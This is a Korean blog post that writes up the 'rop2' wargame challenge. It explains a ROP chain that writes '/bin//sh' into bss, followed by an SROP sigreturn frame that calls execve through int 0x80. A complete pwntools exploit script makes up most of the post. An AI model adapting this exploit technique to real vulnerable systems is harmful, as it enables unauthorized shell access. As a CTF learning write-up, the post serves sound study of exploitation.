본문 바로가기
시스템 해킹/cykor

rop2-ROP+SROP

by sonysame 2018. 1. 5.

rop+srop-rop2


ROP2문제는 작년에도 풀었다.

작년에는 가젯을 이용해서 got에 담긴 실제함수값의 주소를 바꿨다면, 이번에는 SROP를 이용했다.



gadget2와 gadget1을 이용해서 bss영역에 /bin/sh 를 박아줄 수 있다.

bss영역은 처음부터 null로 채워져 있으니까, add에다가 (0x6e69622f)와 (0x68732f2f)을 해줘서 /bin//sh를 만들어줄 수 있다.


그 다음, eax에 119를 넣어줘서->sigreturn


sigreturn이 실행될 때, 스택에 있는 값들이 레지스터에 pop되는데,

여기서 eax는 11이 되도록, eip는 int 80이 되도록, 그리고, CS와 SS를 맞춰줘야 한다.


CS와 SS에 값 때문에 계속 Segmentation Fault가 떴다.


64비트에서 돌릴 때, CS에는 0x23, SS에는 0x2b가 들어가야 하고

32비트에서 돌릴 때, CS에는 0x73, SS에는 0x7b가 들어가야 한다!!!


from pwn import * 

s=process('./rop2')


binsh="/bin/sh"

pebxr=0x080482ad #pop ebx; ret;

sh=0x0804ae00 #data

gadget1=0x080483db #add [ebx], eax; ret;

gadget2=0x080483de #mov eax, ebx; ret;

int80=0x080483ff #int 80


#raw_input()


payload=""

payload+='a'*260


payload+=p32(pebxr)

payload+=p32(0x6e69622f)

payload+=p32(gadget2)

payload+=p32(pebxr)

payload+=p32(sh)

payload+=p32(gadget1)


payload+=p32(pebxr)

payload+=p32(0x68732f2f)

payload+=p32(gadget2)

payload+=p32(pebxr)

payload+=p32(sh+4)

payload+=p32(gadget1)


#raw_input()

payload+=p32(pebxr)

payload+=p32(119)

payload+=p32(gadget2)

payload+=p32(int80)

payload+=p32(0) #GS

payload+=p32(0) #FS

payload+=p32(0) #ES

payload+=p32(0) #DS

payload+=p32(0) #EDI

payload+=p32(0) #ESI

payload+=p32(0) #EBP

payload+=p32(0) #ESP

payload+=p32(sh) #EBX

payload+=p32(0) #EDX

payload+=p32(0) #ECX

payload+=p32(11) #EAX

payload+=p32(0) #trapno

payload+=p32(0) #err

payload+=p32(int80) #EIP

payload+=p32(0x23) #CS

payload+=p32(0) #eflags

payload+=p32(0) #esp_at_signal

payload+=p32(0x2b) #SS

payload+=p32(0)


s.send(payload+'\n')


s.interactive()

s.close()





'시스템 해킹 > cykor' 카테고리의 다른 글

scv-64비트, C++, ROP, 카나리릭, libc릭  (0) 2018.01.06
enjoy_rop-ROP+SROP  (0) 2018.01.06
rop1-ROP+SROP  (0) 2018.01.02
2015410212-64비트 쉘코드, 간단한 xor  (0) 2018.01.02
rain_dROP-카나리 릭, 메모리 릭  (0) 2018.01.02